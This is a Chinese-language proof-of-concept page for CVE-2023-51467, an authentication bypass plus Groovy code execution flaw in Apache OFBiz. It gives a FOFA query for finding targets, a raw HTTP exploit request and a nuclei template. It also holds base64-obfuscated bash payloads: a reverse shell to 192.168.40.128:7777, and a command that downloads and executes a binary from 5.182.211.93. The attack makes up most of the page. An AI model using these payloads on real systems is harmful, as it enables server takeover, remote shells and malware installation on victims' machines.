CVE-2023-51467：Apache OFBiz groovy 远程代码执行漏洞

# 搜索语法app="Apache_OFBiz"

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host:127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencodedContent-Length: 55groovyProgram=throw+new+Exception('id'.execute().text);

bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}bash -c echo${IFS}cGluZyAxODYuMTE1Ljk3LjUueGxvY3dma3djYmdqYWZ1dmRnd3ZuamY4NW14N3VoeG1hLm9hc3QuZnVu|base64${IFS}-d|bashbash -c {echo,Y2QgL3RtcC8gJiYgd2dldCBodHRwOi8vNS4xODIuMjExLjkzOjQzMjEvYXBhY2hlX3NlcnZlciAmJiBjdXJsIC1vIC90bXAvYXBhY2hlX3NlcnZlciBodHRwOi8vNS4xODIuMjExLjkzOjQzMjEvYXBhY2hlX3NlcnZlciAmJiBjaG1vZCA3NzcgL3RtcC9hcGFjaGVfc2VydmVyICYmIC90bXAvYXBhY2hlX3NlcnZlcg==}|{base64,-d}|{bash,-i}

id: CVE-2023-51467info:  name: Apache OFBiz groovy 远程代码执行漏洞  author: lanyue  severity: critical  description: Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。2023年12月，官方发布新版本修复了 CVE-2023-51467 Apache OFBiz groovy 远程代码执行漏洞。攻击者可构造恶意请求绕过身份认证，利用后台相关接口功能执行groovy代码，执行任意命令，控制服务器。这个漏洞的原因是对于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中，官方移除了可能导致RCE漏洞的XMLRPC组件，但没有修复权限绕过问题。建议尽快修复漏洞。  metadata:    max-request: 1    fofa-query: app="Apache_OFBiz"    verified: truerequests:  - raw:      - |+        POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0        Accept: */*        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Content-Type: application/x-www-form-urlencoded        Content-Length: 48        groovyProgram='curl+{{interactsh-url}}'.execute();    matchers:      - type: dsl        dsl:          - contains(interactsh_protocol, "dns")        condition: and